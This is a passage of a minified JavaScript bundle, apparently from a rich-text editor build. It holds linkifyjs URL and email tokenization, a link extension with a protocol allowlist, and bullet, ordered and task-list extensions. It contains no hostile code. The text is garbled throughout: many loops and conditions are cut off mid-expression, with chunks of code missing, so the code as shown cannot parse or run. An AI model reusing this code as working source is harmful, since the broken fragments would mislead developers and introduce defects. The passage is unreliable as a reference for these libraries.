c=Pe(t,IC,KE,{[EC]:!0}),l=Pe(t,SI,aT,{[EC]:!0}),u=Ys(t,xC,aT,{[EC]:!0});Pe(t,RC,u),Pe(l,IC,c),Pe(l,RC,u),Ys(l,xC,u),Pe(u,SI),Pe(u,IC),Ys(u,xC,u),Pe(u,RC,u);const h=Ys(t,MC,JO,{[KO]:!0});Pe(h,"#"),Ys(h,MC,h),Pe(h,cQ,h);const d=Pe(h,uQ);Pe(d,"#"),Ys(d,MC,h);const p=[[_l,o],[Sl,i]],m=[[_l,null],[wm,a],[Sl,r]];for(let v=0;vv[0]>g[0]?1:-1);for(let v=0;v=0?b[nT]=!0:_l.test(g)?Sl.test(g)?b[Lv]=!0:b[tT]=!0:b[eT]=!0,_I(t,g,g,b)}return _I(t,"localhost",ny,{ascii:!0}),t.jd=new mr(r0),{start:t,tokens:Object.assign({groups:e},ZO)}}function eD(s,e){const t=dQ(e.replace(/[A-Z]/g,a=>a.toLowerCase())),n=t.length,i=[];let r=0,o=0;for(;o=0&&(h+=t[o].length,d++),l+=t[o].length,r+=t[o].length,o++;r-=h,o-=d,l-=h,i.push({t:u.t,v:e.slice(r-l,r),s:r-l,e:r})}return i}function dQ(s){const e=[],t=s.length;let n=0;for(;n56319||n+1===t||(r=s.charCodeAt(n+1))<56320||r>57343?s[n]:s.slice(n,n+2);e.push(o),n+=o.length}return e}function Uc(s,e,t,n,i){let r;const o=e.length;for(let a=0;a=0;)r++;if(r>0){e.push(t.join(""));for(let o=parseInt(s.substring(n,n+r),10);o>0;o--)t.pop();n+=r}else t.push(s[n]),n++}return e}const iy={defaultProtocol:"http",events:null,format:kI,formatHref:kI,nl2br:!1,tagName:"a",target:null,rel:null,validate:!0,truncate:1/0,className:null,attributes:null,ignoreTags:[],render:null};function ZE(s,e=null){let t=Object.assign({},iy);s&&(t=Object.assign(t,s instanceof ZE?s.o:s));const n=t.ignoreTags,i=[];for(let r=0;rt?n.substring(0,t)+"…":n},toFormattedHref(s){return s.get("formatHref",this.toHref(s.get("defaultProtocol")),this)},startIndex(){return this.tk[0].s},endIndex(){return this.tk[this.tk.length-1].e},toObject(s=iy.defaultProtocol){return{type:this.t,value:this.toString(),isLink:this.isLink,href:this.toHref(s),start:this.startIndex(),end:this.endIndex()}},toFormattedObject(s){return{type:this.t,value:this.toFormattedString(s),isLink:this.isLink,href:this.toFormattedHref(s),start:this.startIndex(),end:this.endIndex()}},validate(s){return s.get("validate",this.toString(),this)},render(s){const e=this,t=this.toHref(s.get("defaultProtocol")),n=s.get("formatHref",t,this),i=s.get("tagName",t,e),r=this.toFormattedString(s),o={},a=s.get("className",t,e),c=s.get("target",t,e),l=s.get("rel",t,e),u=s.getObj("attributes",t,e),h=s.getObj("events",t,e);return o.href=n,a&&(o.class=a),c&&(o.target=c),l&&(o.rel=l),u&&Object.assign(o,u),{tagName:i,attributes:o,content:r,eventListeners:h}}};function lk(s,e){class t extends tD{constructor(i,r){super(i,r),this.t=s}}for(const n in e)t.prototype[n]=e[n];return t.t=s,t}const fQ=lk("email",{isLink:!0,toHref(){return"mailto:"+this.toString()}}),CI=lk("text"),pQ=lk("nl"),F_=lk("url",{isLink:!0,toHref(s=iy.defaultProtocol){return this.hasProtocol()?this.v:`${s}://${this.v}`},hasProtocol(){const s=this.tk;return s.length>=2&&s[0].t!==ny&&s[1].t===Hh}}),ao=s=>new mr(s);function gQ({groups:s}){const e=s.domain.concat([qw,Qw,Xc,Xw,Yw,Jw,Zw,e0,fo,qE,Dv,t0,s0,n0,Ma,r0,Bv,i0]),t=[Kw,Hh,QE,Ea,XE,Dv,Nv,YE,JE,Bw,Fw,Pv,Ov,Ow,Pw,Dw,Nw,$w,Hw,Uw,Ww,zw,jw,Vw,Gw],n=[qw,Kw,Qw,Xw,Yw,Jw,Zw,e0,fo,Pv,Ov,Dv,t0,s0,n0,Nv,Ma,r0,Bv,i0],i=ao(),r=Pe(i,Bv);Ht(r,n,r),Ht(r,s.domain,r);const o=ao(),a=ao(),c=ao();Ht(i,s.domain,o),Ht(i,s.scheme,a),Ht(i,s.slashscheme,c),Ht(o,n,r),Ht(o,s.domain,o);const l=Pe(o,Xc);Pe(r,Xc,l),Pe(a,Xc,l),Pe(c,Xc,l);const u=Pe(r,Ea);Ht(u,n,r),Ht(u,s.domain,r);const h=ao();Ht(l,s.domain,h),Ht(h,s.domain,h);const d=Pe(h,Ea);Ht(d,s.domain,h);const p=ao(fQ);Ht(d,s.tld,p),Ht(d,s.utld,p),Pe(l,ny,p);const m=Pe(h,fo);Pe(m,fo,m),Ht(m,s.domain,h),Ht(p,s.domain,h),Pe(p,Ea,d),Pe(p,fo,m);const v=Pe(o,fo),g=Pe(o,Ea);Pe(v,fo,v),Ht(v,s.domain,o),Ht(g,n,r),Ht(g,s.domain,o);const y=ao(F_);Ht(g,s.tld,y),Ht(g,s.utld,y),Ht(y,s.domain,o),Ht(y,n,r),Pe(y,Ea,g),Pe(y,fo,v),Pe(y,Xc,l);const b=Pe(y,Hh),_=ao(F_);Ht(b,s.numeric,_);const w=ao(F_),S=ao();Ht(w,e,w),Ht(w,t,S),Ht(S,e,w),Ht(S,t,S),Pe(y,Ma,w),Pe(_,Ma,w);const C=Pe(a,Hh),T=Pe(c,Hh),k=Pe(T,Ma),A=Pe(k,Ma);Ht(a,s.domain,o),Pe(a,Ea,g),Pe(a,fo,v),Ht(c,s.domain,o),Pe(c,Ea,g),Pe(c,fo,v),Ht(C,s.domain,w),Pe(C,Ma,w),Pe(C,Nv,w),Ht(A,s.domain,w),Ht(A,e,w),Pe(A,Ma,w);const M=[[Pv,Ov],[Pw,Ow],[Dw,Nw],[Bw,Fw],[$w,Hw],[Uw,Ww],[zw,jw],[Vw,Gw]];for(let R=0;R=0&&d++,i++,u++;if(d<0)i-=u,i0&&(r.push(LC(CI,e,o)),o=[]),i-=d,u-=d;const p=h.t,m=t.slice(i-u,i);r.push(LC(p,e,m))}}return o.length>0&&r.push(LC(CI,e,o)),r}function LC(s,e,t){const n=t[0].s,i=t[t.length-1].e,r=e.slice(n,i);return new s(r,t)}const vQ=typeof console<"u"&&console&&console.warn||(()=>{}),yQ="until manual call of linkify.init(). Register all schemes and plugins before invoking linkify the first time.",Ls={scanner:null,parser:null,tokenQueue:[],pluginQueue:[],customSchemes:[],initialized:!1};function bQ(){return mr.groups={},Ls.scanner=null,Ls.parser=null,Ls.tokenQueue=[],Ls.pluginQueue=[],Ls.customSchemes=[],Ls.initialized=!1,Ls}function TI(s,e=!1){if(Ls.initialized&&vQ(`linkifyjs: already initialized - will not register custom scheme "${s}" ${yQ}`),!/^[0-9a-z]+(-[0-9a-z]+)*$/.test(s))throw new Error(`linkifyjs: incorrect scheme format. +1. Must only contain digits, lowercase ASCII letters or "-" +2. Cannot start or end with "-" +3. "-" cannot repeat`);Ls.customSchemes.push([s,e])}function _Q(){Ls.scanner=hQ(Ls.customSchemes);for(let s=0;s{const i=e.some(l=>l.docChanged)&&!t.doc.eq(n.doc),r=e.some(l=>l.getMeta("preventAutolink"));if(!i||r)return;const{tr:o}=n,a=nO(t.doc,[...e]);if(uO(a).forEach(({newRange:l})=>{const u=pq(n.doc,l,p=>p.isTextblock);let h,d;if(u.length>1)h=u[0],d=n.doc.textBetween(h.pos,h.pos+h.node.nodeSize,void 0," ");else if(u.length){const p=n.doc.textBetween(l.from,l.to," "," ");if(!wQ.test(p))return;h=u[0],d=n.doc.textBetween(h.pos,l.to,void 0," ")}if(h&&d){const p=d.split(SQ).filter(Boolean);if(p.length<=0)return!1;const m=p[p.length-1],v=h.pos+d.lastIndexOf(m);if(!m)return!1;const g=eM(m).map(y=>y.toObject(s.defaultProtocol));if(!CQ(g))return!1;g.filter(y=>y.isLink).map(y=>({...y,from:v+y.start+1,to:v+y.end+1})).filter(y=>n.schema.marks.code?!n.doc.rangeHasMark(y.from,y.to,n.schema.marks.code):!0).filter(y=>s.validate(y.value)).filter(y=>s.shouldAutoLink(y.value)).forEach(y=>{HE(y.from,y.to,n.doc).some(b=>b.mark.type===s.type)||o.addMark(y.from,y.to,s.type.create({href:y.href}))})}}),!!o.steps.length)return o}})}function AQ(s){return new $s({key:new fn("handleClickLink"),props:{handleClick:(e,t,n)=>{var i,r;if(n.button!==0||!e.editable)return!1;let o=null;if(n.target instanceof HTMLAnchorElement)o=n.target;else{const c=n.target;if(!c)return!1;const l=s.editor.view.dom;o=c.closest("a"),o&&!l.contains(o)&&(o=null)}if(!o)return!1;let a=!1;if(s.enableClickSelection&&(a=s.editor.commands.extendMarkRange(s.type.name)),s.openOnClick){const c=cO(e.state,s.type.name),l=(i=o.href)!=null?i:c.href,u=(r=o.target)!=null?r:c.target;l&&(window.open(l,u),a=!0)}return a}}})}function EQ(s){return new $s({key:new fn("handlePasteLink"),props:{handlePaste:(e,t,n)=>{const{shouldAutoLink:i}=s,{state:r}=e,{selection:o}=r,{empty:a}=o;if(a)return!1;let c="";n.content.forEach(u=>{c+=u.textContent});const l=sD(c,{defaultProtocol:s.defaultProtocol}).find(u=>u.isLink&&u.value===c);return!c||!l||i!==void 0&&!i(l.value)?!1:s.editor.commands.setMark(s.type,{href:l.href})}}})}function Sh(s,e){const t=["http","https","ftp","ftps","mailto","tel","callto","sms","cid","xmpp"];return e&&e.forEach(n=>{const i=typeof n=="string"?n:n.scheme;i&&t.push(i)}),!s||s.replace(kQ,"").match(new RegExp(`^(?:(?:${t.join("|")}):|[^a-z]|[a-z0-9+.-]+(?:[^a-z+.-:]|$))`,"i"))}var MQ=Df.create({name:"link",priority:1e3,keepOnSplit:!1,exitable:!0,onCreate(){this.options.validate&&!this.options.shouldAutoLink&&(this.options.shouldAutoLink=this.options.validate,console.warn("The `validate` option is deprecated. Rename to the `shouldAutoLink` option instead.")),this.options.protocols.forEach(s=>{if(typeof s=="string"){TI(s);return}TI(s.scheme,s.optionalSlashes)})},onDestroy(){bQ()},inclusive(){return this.options.autolink},addOptions(){return{openOnClick:!0,enableClickSelection:!1,linkOnPaste:!0,autolink:!0,protocols:[],defaultProtocol:"http",HTMLAttributes:{target:"_blank",rel:"noopener noreferrer nofollow",class:null},isAllowedUri:(s,e)=>!!Sh(s,e.protocols),validate:s=>!!s,shouldAutoLink:s=>{const e=/^[a-z][a-z0-9+.-]*:\/\//i.test(s),t=/^[a-z][a-z0-9+.-]*:/i.test(s);if(e||t&&!s.includes("@"))return!0;const i=(s.includes("@")?s.split("@").pop():s).split(/[/?#:]/)[0];return!(/^\d{1,3}(\.\d{1,3}){3}$/.test(i)||!/\./.test(i))}}},addAttributes(){return{href:{default:null,parseHTML(s){return s.getAttribute("href")}},target:{default:this.options.HTMLAttributes.target},rel:{default:this.options.HTMLAttributes.rel},class:{default:this.options.HTMLAttributes.class},title:{default:null}}},parseHTML(){return[{tag:"a[href]",getAttrs:s=>{const e=s.getAttribute("href");return!e||!this.options.isAllowedUri(e,{defaultValidate:t=>!!Sh(t,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:null}}]},renderHTML({HTMLAttributes:s}){return this.options.isAllowedUri(s.href,{defaultValidate:e=>!!Sh(e,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?["a",Fs(this.options.HTMLAttributes,s),0]:["a",Fs(this.options.HTMLAttributes,{...s,href:""}),0]},markdownTokenName:"link",parseMarkdown:(s,e)=>e.applyMark("link",e.parseInline(s.tokens||[]),{href:s.href,title:s.title||null}),renderMarkdown:(s,e)=>{var t,n,i,r;const o=(n=(t=s.attrs)==null?void 0:t.href)!=null?n:"",a=(r=(i=s.attrs)==null?void 0:i.title)!=null?r:"",c=e.renderChildren(s);return a?`[${c}](${o} "${a}")`:`[${c}](${o})`},addCommands(){return{setLink:s=>({chain:e})=>{const{href:t}=s;return this.options.isAllowedUri(t,{defaultValidate:n=>!!Sh(n,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?e().setMark(this.name,s).setMeta("preventAutolink",!0).run():!1},toggleLink:s=>({chain:e})=>{const{href:t}=s||{};return t&&!this.options.isAllowedUri(t,{defaultValidate:n=>!!Sh(n,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:e().toggleMark(this.name,s,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()},unsetLink:()=>({chain:s})=>s().unsetMark(this.name,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()}},addPasteRules(){return[xf({find:s=>{const e=[];if(s){const{protocols:t,defaultProtocol:n}=this.options,i=sD(s).filter(r=>r.isLink&&this.options.isAllowedUri(r.value,{defaultValidate:o=>!!Sh(o,t),protocols:t,defaultProtocol:n}));i.length&&i.forEach(r=>{this.options.shouldAutoLink(r.value)&&e.push({text:r.value,data:{href:r.href},index:r.start})})}return e},type:this.type,getAttributes:s=>{var e;return{href:(e=s.data)==null?void 0:e.href}}})]},addProseMirrorPlugins(){const s=[],{protocols:e,defaultProtocol:t}=this.options;return this.options.autolink&&s.push(TQ({type:this.type,defaultProtocol:this.options.defaultProtocol,validate:n=>this.options.isAllowedUri(n,{defaultValidate:i=>!!Sh(i,e),protocols:e,defaultProtocol:t}),shouldAutoLink:this.options.shouldAutoLink})),s.push(AQ({type:this.type,editor:this.editor,openOnClick:this.options.openOnClick==="whenNotEditable"?!0:this.options.openOnClick,enableClickSelection:this.options.enableClickSelection})),this.options.linkOnPaste&&s.push(EQ({editor:this.editor,defaultProtocol:this.options.defaultProtocol,type:this.type,shouldAutoLink:this.options.shouldAutoLink})),s}}),xQ=Object.defineProperty,IQ=(s,e)=>{for(var t in e)xQ(s,t,{get:e[t],enumerable:!0})},RQ="listItem",AI="textStyle",EI=/^\s*([-+*])\s$/,nD=Sr.create({name:"bulletList",addOptions(){return{itemTypeName:"listItem",HTMLAttributes:{},keepMarks:!1,keepAttributes:!1}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:"ul"}]},renderHTML({HTMLAttributes:s}){return["ul",Fs(this.options.HTMLAttributes,s),0]},markdownTokenName:"list",parseMarkdown:(s,e)=>s.type!=="list"||s.ordered?[]:{type:"bulletList",content:s.items?e.parseChildren(s.items):[]},renderMarkdown:(s,e)=>s.content?e.renderChildren(s.content,` +`):"",markdownOptions:{indentsContent:!0},addCommands(){return{toggleBulletList:()=>({commands:s,chain:e})=>this.options.keepAttributes?e().toggleList(this.name,this.options.itemTypeName,this.options.keepMarks).updateAttributes(RQ,this.editor.getAttributes(AI)).run():s.toggleList(this.name,this.options.itemTypeName,this.options.keepMarks)}},addKeyboardShortcuts(){return{"Mod-Shift-8":()=>this.editor.commands.toggleBulletList()}},addInputRules(){let s=im({find:EI,type:this.type});return(this.options.keepMarks||this.options.keepAttributes)&&(s=im({find:EI,type:this.type,keepMarks:this.options.keepMarks,keepAttributes:this.options.keepAttributes,getAttributes:()=>this.editor.getAttributes(AI),editor:this.editor})),[s]}}),LQ=(s,e,t)=>{const{selection:n}=s;if(!n.empty)return null;const{$from:i}=n;if(!i.parent.isTextblock||i.parentOffset!==i.parent.content.size)return null;let r=-1;for(let p=i.depth;p>0;p-=1)if(i.node(p).type.name===e){r=p;break}if(r<0)return null;const o=i.node(r),a=i.index(r);if(a+1>=o.childCount)return null;const c=o.child(a+1);if(!t.includes(c.type.name))return null;const l=s.schema.nodes[e];let u=!1;if(c.forEach(p=>{p.type===l&&p.childCount>1&&(u=!0)}),!u)return null;const h=s.doc.resolve(i.after()).nodeAfter;if(!h||!t.includes(h.type.name))return null;const d=[];return h.forEach(p=>{d.push(p)}),d.length===0?null:{listItemDepth:r,nestedList:h,nestedListPos:i.after(),insertPos:i.after(r),items:d}},PQ=(s,e,t,n)=>{const i=LQ(s,t,n);if(!i)return!1;const{selection:r}=s,{nestedList:o,nestedListPos:a,insertPos:c,items:l}=i,u=s.tr;u.delete(a,a+o.nodeSize);const h=u.mapping.map(c);return u.insert(h,Fe.from(l)),u.setSelection(r.map(u.doc,u.mapping)),e&&e(u),!0},OQ=(s,e,t)=>PQ(s.state,s.view.dispatch,e,t),iD=(s,e)=>on.create({name:`${s}BranchingDeleteKeymap`,priority:101,addKeyboardShortcuts(){const t=()=>OQ(this.editor,s,e);return{Delete:t,"Mod-Delete":t}}});function DQ(s){var e,t;const n=(e=s.tokens)==null?void 0:e[0];return!!(s.text&&((t=s.tokens)==null?void 0:t.length)===1&&(n==null?void 0:n.type)==="list"&&n.ordered&&n.raw===s.text)}function NQ(s,e){return e.tokenizeInline?e.parseInline(e.tokenizeInline(s)):e.parseInline([{type:"text",raw:s,text:s}])}var rD=Sr.create({name:"listItem",addOptions(){return{HTMLAttributes:{},bulletListTypeName:"bulletList",orderedListTypeName:"orderedList"}},content:"paragraph block*",defining:!0,parseHTML(){return[{tag:"li"}]},renderHTML({HTMLAttributes:s}){return["li",Fs(this.options.HTMLAttributes,s),0]},markdownTokenName:"list_item",parseMarkdown:(s,e)=>{var t;if(s.type!=="list_item")return[];const n=(t=e.parseBlockChildren)!=null?t:e.parseChildren;let i=[];if(s.tokens&&s.tokens.length>0){if(DQ(s))return{type:"listItem",content:[{type:"paragraph",content:NQ(s.text||"",e)}]};if(s.tokens.some(o=>o.type==="paragraph"))i=n(s.tokens);else{const o=s.tokens[0];if(o&&o.type==="text"&&o.tokens&&o.tokens.length>0){if(i=[{type:"paragraph",content:e.parseInline(o.tokens)}],s.tokens.length>1){const c=s.tokens.slice(1),l=n(c);i.push(...l)}}else i=n(s.tokens)}}return i.length===0&&(i=[{type:"paragraph",content:[]}]),{type:"listItem",content:i}},renderMarkdown:(s,e,t)=>jE(s,e,n=>{var i,r;return n.parentType==="bulletList"?"- ":n.parentType==="orderedList"?`${(((r=(i=n.meta)==null?void 0:i.parentAttrs)==null?void 0:r.start)||1)+n.index}. `:"- "},t),addExtensions(){return[iD(this.name,[this.options.bulletListTypeName,this.options.orderedListTypeName])]},addKeyboardShortcuts(){return{Enter:()=>this.editor.commands.splitListItem(this.name),Tab:()=>this.editor.commands.sinkListItem(this.name),"Shift-Tab":()=>this.editor.commands.liftListItem(this.name)}}}),BQ={};IQ(BQ,{findListItemPos:()=>ck,getNextListDepth:()=>sM,handleBackspace:()=>lT,handleDelete:()=>cT,hasListBefore:()=>oD,hasListItemAfter:()=>FQ,hasListItemBefore:()=>$Q,listItemHasSubList:()=>HQ,nextListIsDeeper:()=>aD,nextListIsHigher:()=>lD});var ck=(s,e)=>{const{$from:t}=e.selection,n=wn(s,e.schema);let i=null,r=t.depth,o=t.pos,a=null;for(;r>0&&a===null;)i=t.node(r),i.type===n?a=r:(r-=1,o-=1);return a===null?null:{$pos:e.doc.resolve(o),depth:a}},sM=(s,e)=>{const t=ck(s,e);if(!t)return!1;const[,n]=Tq(e,s,t.$pos.pos+4);return n},oD=(s,e,t)=>{const{$anchor:n}=s.selection,i=Math.max(0,n.pos-2),r=s.doc.resolve(i).node();return!(!r||!t.includes(r.type.name))},lT=(s,e,t)=>{if(s.commands.undoInputRule())return!0;if(s.state.selection.from!==s.state.selection.to)return!1;if(!lh(s.state,e)&&oD(s.state,e,t)){const{$anchor:n}=s.state.selection,i=s.state.doc.resolve(n.before()-1),r=[];i.node().descendants((c,l)=>{c.type.name===e&&r.push({node:c,pos:l})});const o=r.at(-1);if(!o)return!1;const a=s.state.doc.resolve(i.start()+o.pos+1);return s.chain().cut({from:n.start()-1,to:n.end()+1},a.end()).joinForward().run()}return!lh(s.state,e)||!xq(s.state)?!1:s.chain().liftListItem(e).run()},aD=(s,e)=>{const t=sM(s,e),n=ck(s,e);return!n||!t?!1:t>n.depth},lD=(s,e)=>{const t=sM(s,e),n=ck(s,e);return!n||!t?!1:t{if(!lh(s.state,e)||!Mq(s.state,e))return!1;const{selection:t}=s.state,{$from:n,$to:i}=t;return!t.empty&&n.sameParent(i)?!1:aD(e,s.state)?s.chain().focus(s.state.selection.from+4).lift(e).joinBackward().run():lD(e,s.state)?s.chain().joinForward().joinBackward().run():s.commands.joinItemForward()},FQ=(s,e)=>{var t;const{$anchor:n}=e.selection,i=e.doc.resolve(n.pos-n.parentOffset-2);return!(i.index()===i.parent.childCount-1||((t=i.nodeAfter)==null?void 0:t.type.name)!==s)},$Q=(s,e)=>{var t;const{$anchor:n}=e.selection,i=e.doc.resolve(n.pos-2);return!(i.index()===0||((t=i.nodeBefore)==null?void 0:t.type.name)!==s)},HQ=(s,e,t)=>{if(!t)return!1;const n=wn(s,e.schema);let i=!1;return t.descendants(r=>{r.type===n&&(i=!0)}),i},cD=on.create({name:"listKeymap",addOptions(){return{listTypes:[{itemName:"listItem",wrapperNames:["bulletList","orderedList"]},{itemName:"taskItem",wrapperNames:["taskList"]}]}},addKeyboardShortcuts(){return{Delete:({editor:s})=>{let e=!1;return this.options.listTypes.forEach(({itemName:t})=>{s.state.schema.nodes[t]!==void 0&&cT(s,t)&&(e=!0)}),e},"Mod-Delete":({editor:s})=>{let e=!1;return this.options.listTypes.forEach(({itemName:t})=>{s.state.schema.nodes[t]!==void 0&&cT(s,t)&&(e=!0)}),e},Backspace:({editor:s})=>{let e=!1;return this.options.listTypes.forEach(({itemName:t,wrapperNames:n})=>{s.state.schema.nodes[t]!==void 0&&lT(s,t,n)&&(e=!0)}),e},"Mod-Backspace":({editor:s})=>{let e=!1;return this.options.listTypes.forEach(({itemName:t,wrapperNames:n})=>{s.state.schema.nodes[t]!==void 0&&lT(s,t,n)&&(e=!0)}),e}}}}),MI=/^(\s*)(\d+)\.\s+(.*)$/,UQ=/^\s/;function WQ(s){const e=s.trimStart();return/^[-+*]\s+/.test(e)||/^\d+\.\s+/.test(e)||/^>\s?/.test(e)||/^```/.test(e)||/^~~~/.test(e)}function zQ(s){const e=[],t=[];let n=!1;return s.forEach(i=>{if(n){t.push(i);return}if(i.trim()===""){n=!0,t.push(i);return}if(e.length>0&&WQ(i)){n=!0,t.push(i);return}e.push(i)}),{paragraphLines:e,blockLines:t}}function jQ(s){const e=[];let t=0,n=0;for(;te;)d.push(s[h]),h+=1;if(d.length>0){const p=Math.min(...d.map(v=>v.indent)),m=uD(d,p,t);l.push({type:"list",ordered:!0,start:d[0].number,items:m,raw:d.map(v=>v.raw).join(` +`)})}n.push({type:"list_item",raw:r.raw,tokens:l}),i=h}else i+=1}return n}function VQ(s,e){return s.map(t=>{if(t.type!=="list_item")return e.parseChildren([t])[0];const n=[];return t.tokens&&t.tokens.length>0&&t.tokens.forEach(i=>{if(i.type==="paragraph"||i.type==="list"||i.type==="blockquote"||i.type==="code")n.push(...e.parseChildren([i]));else if(i.type==="text"&&i.tokens){const r=e.parseChildren([i]);n.push({type:"paragraph",content:r})}else{const r=e.parseChildren([i]);r.length>0&&n.push(...r)}}),{type:"listItem",content:n}})}var GQ="listItem",xI="textStyle",II=/^(\d+)\.\s$/,hD=Sr.create({name:"orderedList",addOptions(){return{itemTypeName:"listItem",HTMLAttributes:{},keepMarks:!1,keepAttributes:!1}},group:"block list",content(){return`${this.options.itemTypeName}+`},addAttributes(){return{start:{default:1,parseHTML:s=>s.hasAttribute("start")?parseInt(s.getAttribute("start")||"",10):1},type:{default:null,parseHTML:s=>s.getAttribute("type")}}},parseHTML(){return[{tag:"ol"}]},renderHTML({HTMLAttributes:s}){const{start:e,...t}=s;return e===1?["ol",Fs(this.options.HTMLAttributes,t),0]:["ol",Fs(this.options.HTMLAttributes,s),0]},markdownTokenName:"list",parseMarkdown:(s,e)=>{if(s.type!=="list"||!s.ordered)return[];const t=s.start||1,n=s.items?VQ(s.items,e):[];return t!==1?{type:"orderedList",attrs:{start:t},content:n}:{type:"orderedList",content:n}},renderMarkdown:(s,e)=>s.content?e.renderChildren(s.content,` +`):"",markdownTokenizer:{name:"orderedList",level:"block",start:s=>{const e=s.match(/^(\s*)(\d+)\.\s+/),t=e==null?void 0:e.index;return t!==void 0?t:-1},tokenize:(s,e,t)=>{var n;const i=s.split(` +`),[r,o]=jQ(i);if(r.length===0)return;const a=uD(r,0,t);return a.length===0?void 0:{type:"list",ordered:!0,start:((n=r[0])==null?void 0:n.number)||1,items:a,raw:i.slice(0,o).join(` +`)}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleOrderedList:()=>({commands:s,chain:e})=>this.options.keepAttributes?e().toggleList(this.name,this.options.itemTypeName,this.options.keepMarks).updateAttributes(GQ,this.editor.getAttributes(xI)).run():s.toggleList(this.name,this.options.itemTypeName,this.options.keepMarks)}},addKeyboardShortcuts(){return{"Mod-Shift-7":()=>this.editor.commands.toggleOrderedList()}},addInputRules(){let s=im({find:II,type:this.type,getAttributes:e=>({start:+e[1]}),joinPredicate:(e,t)=>t.childCount+t.attrs.start===+e[1]});return(this.options.keepMarks||this.options.keepAttributes)&&(s=im({find:II,type:this.type,keepMarks:this.options.keepMarks,keepAttributes:this.options.keepAttributes,getAttributes:e=>({start:+e[1],...this.editor.getAttributes(xI)}),joinPredicate:(e,t)=>t.childCount+t.attrs.start===+e[1],editor:this.editor})),[s]}}),qQ=/^\s*(\[([( |x])?\])\s$/,KQ=Sr.create({name:"taskItem",addOptions(){return{nested:!1,HTMLAttributes:{},taskListTypeName:"taskList",a11y:void 0}},content(){return this.options.nested?"paragraph block*":"paragraph+"},defining:!0,addAttributes(){return{checked:{default:!1,keepOnSplit:!1,parseHTML:s=>{const e=s.getAttribute("data-checked");return e===""||e==="true"},renderHTML:s=>({"data-checked":s.checked})}}},parseHTML(){return[{tag:`li[data-type="${this.name}"]`,priority:51}]},renderHTML({node:s,HTMLAttributes:e}){return["li",Fs(this.options.HTMLAttributes,e,{"data-type":this.name}),["label",["input",{type:"checkbox",checked:s.attrs.checked?"checked":null}],["span"]],["div",0]]},parseMarkdown:(s,e)=>{const t=[];if(s.tokens&&s.tokens.length>0?t.push(e.createNode("paragraph",{},e.parseInline(s.tokens))):s.text?t.push(e.createNode("paragraph",{},[e.createNode("text",{text:s.text})])):t.push(e.createNode("paragraph",{},[])),s.nestedTokens&&s.nestedTokens.length>0){const n=e.parseChildren(s.nestedTokens);t.push(...n)}return e.createNode("taskItem",{checked:s.checked||!1},t)},renderMarkdown:(s,e)=>{var t;const i=`- [${(t=s.attrs)!=null&&t.checked?"x":" "}] `;return jE(s,e,i)},addExtensions(){return this.options.nested?[iD(this.name,[this.options.taskListTypeName])]:[]},addKeyboardShortcuts(){const s={Enter:()=>this.editor.commands.splitListItem(this.name),"Shift-Tab":()=>this.editor.commands.liftListItem(this.name)};return this.options.nested?{...s,Tab:()=>this.editor.commands.sinkListItem(this.name)}:s},addNodeView(){return({node:s,HTMLAttributes:e,getPos:t,editor:n})=>{const i=document.createElement("li"),r=document.createElement("label"),o=document.createElement("span"),a=document.createElement("input"),c=document.createElement("div"),l=h=>{var d,p;a.ariaLabel=((p=(d=this.options.a11y)==null?void 0:d.checkboxLabel)==null?void 0:p.call(d,h,a.checked))||`Task item checkbox for ${h.textContent||"empty task item"}`};l(s),r.contentEditable="false",a.type="checkbox",a.addEventListener("mousedown",h=>h.preventDefault()),a.addEventListener("change",h=>{if(!n.isEditable&&!this.options.onReadOnlyChecked){a.checked=!a.checked;return}const{checked:d}=h.target;n.isEditable&&typeof t=="function"&&n.chain().focus(void 0,{scrollIntoView:!1}).command(({tr:p})=>{const m=t();if(typeof m!="number")return!1;const v=p.doc.nodeAt(m);return p.setNodeMarkup(m,void 0,{...v==null?void 0:v.attrs,checked:d}),!0}).run(),!n.isEditable&&this.options.onReadOnlyChecked&&(this.options.onReadOnlyChecked(s,d)||(a.checked=!a.checked))}),Object.entries(this.options.HTMLAttributes).forEach(([h,d])=>{i.setAttribute(h,d)}),i.dataset.checked=s.attrs.checked,a.checked=s.attrs.checked,r.append(a,o),i.append(r,c),Object.entries(e).forEach(([h,d])=>{i.setAttribute(h,d)});let u=new Set(Object.keys(e));return{dom:i,contentDOM:c,update:h=>{if(h.type!==this.type)return!1;i.dataset.checked=h.attrs.checked,a.checked=h.attrs.checked,l(h);const d=n.extensionManager.attributes,p=ey(h,d),m=new Set(Object.keys(p)),v=this.options.HTMLAttributes;return u.forEach(g=>{m.has(g)||(g in v?i.setAttribute(g,v[g]):i.removeAttribute(g))}),Object.entries(p).forEach(([g,y])=>{y==null?g in v?i.setAttribute(g,v[g]):i.removeAttribute(g):i.setAttribute(g,y)}),u=m,!0}}}},addInputRules(){return[im({find:qQ,type:this.type,getAttributes:s=>({checked:s[s.length-1]==="x"})})]}}),QQ=Sr.create({name:"taskList",addOptions(){return{itemTypeName:"taskItem",HTMLAttributes:{}}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:`ul[data-type="${this.name}"]`,priority:51}]},renderHTML({HTMLAttributes:s}){return["ul",Fs(this.options.HTMLAttributes,s,{"data-type":this.name}),0]},parseMarkdown:(s,e)=>e.createNode("taskList",{},e.parseChildren(s.items||[])),renderMarkdown:(s,e)=>s.content?e.renderChildren(s.content,` +`):"",markdownTokenizer:{name:"taskList",level:"block",start(s){var e;const t=(e=s.match(/^\s*[-+*]\s+\[([ xX])\]\s+/))==null?void 0:e.index;return t!==void 0?t:-1},tokenize(s,e,t){const n=r=>{const o=X1(r,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:a=>({indentLevel:a[1].length,mainContent:a[4],checked:a[3].toLowerCase()==="x"}),createToken:(a,c)=>({type:"taskItem",raw:"",mainContent:a.mainContent,indentLevel:a.indentLevel,checked:a.checked,text:a.mainContent,tokens:t.inlineTokens(a.mainContent),nestedTokens:c}),customNestedParser:n},t);return o?[{type:"taskList",raw:o.raw,items:o.items}]:t.blockTokens(r)},i=X1(s,{itemPattern:/^(\s*)([-+*])\s+\[([ 